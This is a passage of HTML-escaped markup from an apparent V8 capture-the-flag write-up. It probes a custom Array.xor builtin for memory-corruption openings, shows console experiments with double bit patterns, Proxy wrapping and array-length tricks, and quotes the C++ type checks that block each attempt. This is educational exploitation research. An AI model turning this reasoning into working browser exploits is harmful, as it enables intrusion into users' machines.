class=&#34;jsConValIn&#34;&gt;0.3&lt;/span&gt;]&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;1337&lt;/span&gt;) &lt;span class=&#34;jsConNull&#34;&gt;// 0x539&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;details&gt;&lt;summary&gt;&lt;i&gt;(3) [&lt;span class=&#34;jsConValOut&#34;&gt;0.10000000000001079&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;0.20000000000002158&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;0.30000000000004035&lt;/span&gt;]&lt;/i&gt;&lt;/summary&gt;&#xD;&#xA;&lt;div style=&#34;padding-left: 24px&#34;&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;0&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x3fb9999999999&lt;span class=&#34;jsConKw&#34;&gt;ca3&lt;/span&gt;&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;1&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x3fc9999999999&lt;span class=&#34;jsConKw&#34;&gt;ca3&lt;/span&gt;&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;2&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x3fd3333333333&lt;span class=&#34;jsConKw&#34;&gt;60a&lt;/span&gt;&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;/details&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Quite the peculiar feature. It may seem a little confusing if you aren&amp;rsquo;t familiar with &lt;a href=&#34;https://en.wikipedia.org/wiki/IEEE_754&#34;&gt;IEEE 754&lt;/a&gt; &lt;a href=&#34;https://en.wikipedia.org/wiki/Double-precision_floating-point_format&#34;&gt;doubles&lt;/a&gt;, but it makes sense once we look at the hex representations of the values:&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34; style=&#34;text-align:center; width: fit-content; margin: 0 auto&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;double&lt;/span&gt;)&amp;nbsp;&lt;span class=&#34;jsConValIn&#34;&gt;0.1&lt;/span&gt; ^ (&lt;span class=&#34;jsConIdx&#34;&gt;uint64&lt;/span&gt;)&amp;nbsp;&lt;span class=&#34;jsConValIn&#34;&gt;1337&lt;/span&gt; = (&lt;span class=&#34;jsConIdx&#34;&gt;double&lt;/span&gt;)&amp;nbsp;&lt;span class=&#34;jsConValIn&#34;&gt;0.10000000000001079&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34; style=&#34;white-space: pre&#34;&gt;  &lt;span class=&#34;jsConValIn&#34;&gt;0x3fb9999999999&lt;span class=&#34;jsConProp&#34;&gt;99a&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;^ &lt;span class=&#34;jsConValIn&#34;&gt;0x0000000000000&lt;span class=&#34;jsConProp&#34;&gt;539&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;= &lt;span class=&#34;jsConValIn&#34;&gt;0x3fb9999999999&lt;span class=&#34;jsConProp&#34;&gt;ca3&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;It pretty much just interprets the double as an integer, and then performs the XOR operation on it. In this example we XORed the doubles with 0x539 (1337 in decimal), so the last three hex digits of each double changed. It&amp;rsquo;s a pretty silly operation to perform on a double.&lt;/p&gt;&#xA;&lt;p&gt;Just XORing doubles isn&amp;rsquo;t going to get us anywhere though, since the values are stored in a doubles array (&lt;code&gt;PACKED_DOUBLE_ELEMENTS&lt;/code&gt;&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;) as just &lt;em&gt;raw 64-bit doubles&lt;/em&gt;. All we can do is change some numbers around, but that&amp;rsquo;s something we can already do without xor. It&amp;rsquo;d be a lot more interesting if we could run this xor thingie on a mixed array (&lt;code&gt;PACKED_ELEMENTS&lt;/code&gt;) consisting of &lt;em&gt;memory pointers&lt;/em&gt; to other JavaScript objects, because we could point the pointers to places in memory we&amp;rsquo;re not supposed to.&lt;/p&gt;&#xA;&lt;p&gt;Alright, let&amp;rsquo;s try an array with an object in it then:&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;0.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;0.2&lt;/span&gt;, {}] &lt;span class=&#34;jsConNull&#34;&gt;// PACKED_ELEMENTS array&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;1337&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;div class=&#34;jsConErr&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;circle fill=&#34;#E46962&#34; cx=&#34;8&#34; cy=&#34;7&#34; r=&#34;6.5&#34;/&gt;&lt;polygon fill=&#34;#4E3534&#34; points=&#34;4.8,4.6 5.6,3.8 8,6.2 10.4,3.8 11.2,4.6 8.8,7 11.2,9.4 10.4,10.2 8,7.8 5.6,10.2 4.8,9.4 7.2,7&#34;/&gt;&lt;/svg&gt;TypeError: Array.xor needs array of double numbers&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Hmm, seems like there&amp;rsquo;s a check in-place to prevent us from doing this:&lt;/p&gt;&#xA;&lt;div class=&#34;cppCode&#34;&gt;&lt;span class=&#34;mtk1&#34;&gt;ElementsKind kind = &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;GetElementsKind&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;();&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mtk17&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt; (kind != PACKED_DOUBLE_ELEMENTS) {&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;THROW_NEW_ERROR_RETURN_FAILURE&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate, &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;NewTypeError&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;MessageTemplate&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::kPlaceholderOnly,&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;factory&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;NewStringFromAsciiChecked&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk11&#34;&gt;&#34;Array.xor needs array of double numbers&#34;&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;)));&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;}&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;But what if we create a double array, but then wrap it in an evil &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy&#34;&gt;proxy&lt;/a&gt;?&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;0.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;0.2&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;0.3&lt;/span&gt;]&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;evilHandler&lt;/span&gt; = &lt;span style=&#34;white-space: pre-wrap&#34;&gt;{&#xD;&#xA;     &lt;span class=&#34;jsConProp&#34;&gt;get&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;target&lt;/span&gt;, &lt;span class=&#34;jsConIdx&#34;&gt;prop&lt;/span&gt;, &lt;span class=&#34;jsConIdx&#34;&gt;receiver&lt;/span&gt;) {&#xD;&#xA;       &lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;`Got &lt;/span&gt;${&lt;span class=&#34;jsConVar&#34;&gt;prop&lt;/span&gt;}&lt;span class=&#34;jsConStr&#34;&gt;!`&lt;/span&gt;);&#xD;&#xA;       &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;Reflect&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;get&lt;/span&gt;(...&lt;span class=&#34;jsConVar&#34;&gt;arguments&lt;/span&gt;);&#xD;&#xA;     }&#xD;&#xA;   }&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;evil&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;Proxy&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;evilHandler&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;evil&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;/svg&gt;Got constructor!&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;/svg&gt;Got constructor!&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;/svg&gt;Got length!&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;/svg&gt;Got 0!&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;/svg&gt;Got length!&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;/svg&gt;Got 1!&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;/svg&gt;Got length!&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;/svg&gt;Got 2!&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;/svg&gt;Got length!&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;details&gt;&lt;summary&gt;&lt;i&gt;(3) [&lt;span class=&#34;jsConValOut&#34;&gt;0.1&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;0.2&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;0.3&lt;/span&gt;]&lt;/i&gt; &lt;span class=&#34;jsConNull&#34;&gt;// hehe, looks good!&lt;/span&gt;&lt;/summary&gt;&#xD;&#xA;&lt;div style=&#34;padding-left: 24px&#34;&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;0&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;3fb999999999999a&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;1&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;3fc999999999999a&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;2&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;3fd3333333333333&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;/details&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;1337&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;/svg&gt;Got xor!&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;div class=&#34;jsConErr&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;circle fill=&#34;#E46962&#34; cx=&#34;8&#34; cy=&#34;7&#34; r=&#34;6.5&#34;/&gt;&lt;polygon fill=&#34;#4E3534&#34; points=&#34;4.8,4.6 5.6,3.8 8,6.2 10.4,3.8 11.2,4.6 8.8,7 11.2,9.4 10.4,10.2 8,7.8 5.6,10.2 4.8,9.4 7.2,7&#34;/&gt;&lt;/svg&gt;TypeError: Nope&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;No dice, seems like they&amp;rsquo;ve thought of that too:&lt;/p&gt;&#xA;&lt;div class=&#34;cppCode&#34;&gt;&lt;span class=&#34;mtk1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mtk17&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt; (!&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;IsJSArray&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(*receiver) || !&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;HasOnlySimpleReceiverElements&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate, &lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;JSArray&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;cast&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(*receiver))) {&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;THROW_NEW_ERROR_RETURN_FAILURE&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate, &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;NewTypeError&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;MessageTemplate&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::kPlaceholderOnly,&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;factory&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;NewStringFromAsciiChecked&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk11&#34;&gt;&#34;Nope&#34;&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;)));&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;}&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;The &lt;strong&gt;IsJSArray&lt;/strong&gt; method makes sure that we are in fact passing an array, and the &lt;strong&gt;HasOnlySimpleReceiverElements&lt;/strong&gt; method checks for anything sus&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; within the array or it&amp;rsquo;s prototype.&lt;/p&gt;&#xA;&lt;p&gt;Hmmph, this seems pretty well coded so far. There is no way for us to get anything other than a basic double array past these checks, and XORing such an array isn&amp;rsquo;t going to accomplish anything. I went on to carefully examine other parts of the code for any possible flaws.&lt;/p&gt;&#xA;&lt;p&gt;The length of the array gets stored in a &lt;code&gt;uint32_t&lt;/code&gt;, and I thought that perhaps we could overflow this value, but it turns out you can&amp;rsquo;t make an array that big:&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;Array&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;2&lt;/span&gt;**&lt;span class=&#34;jsConValIn&#34;&gt;32&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;div class=&#34;jsConErr&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;circle fill=&#34;#E46962&#34; cx=&#34;8&#34; cy=&#34;7&#34; r=&#34;6.5&#34;/&gt;&lt;polygon fill=&#34;#4E3534&#34; points=&#34;4.8,4.6 5.6,3.8 8,6.2 10.4,3.8 11.2,4.6 8.8,7 11.2,9.4 10.4,10.2 8,7.8 5.6,10.2 4.8,9.4 7.2,7&#34;/&gt;&lt;/svg&gt;RangeError: Invalid array length&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;I also tried messing with the length value, but v8 doesn&amp;rsquo;t allow us to do that in a way that could be of use here:&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;2.2&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;3.3&lt;/span&gt;]&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;length&lt;/span&gt; = &lt;span class=&#34;jsConStr&#34;&gt;&#34;evil&#34;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;div class=&#34;jsConErr&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;circle fill=&#34;#E46962&#34; cx=&#34;8&#34; cy=&#34;7&#34; r=&#34;6.5&#34;/&gt;&lt;polygon fill=&#34;#4E3534&#34; points=&#34;4.8,4.6 5.6,3.8 8,6.2 10.4,3.8 11.2,4.6 8.8,7 11.2,9.4 10.4,10.2 8,7.8 5.6,10.2 4.8,9.4 7.2,7&#34;/&gt;&lt;/svg&gt;RangeError: Invalid array length&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;__defineGetter__&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;length&#34;&lt;/span&gt;, () =&gt; &lt;span class=&#34;jsConValIn&#34;&gt;1337&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;div class=&#34;jsConErr&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;circle fill=&#34;#E46962&#34; cx=&#34;8&#34; cy=&#34;7&#34; 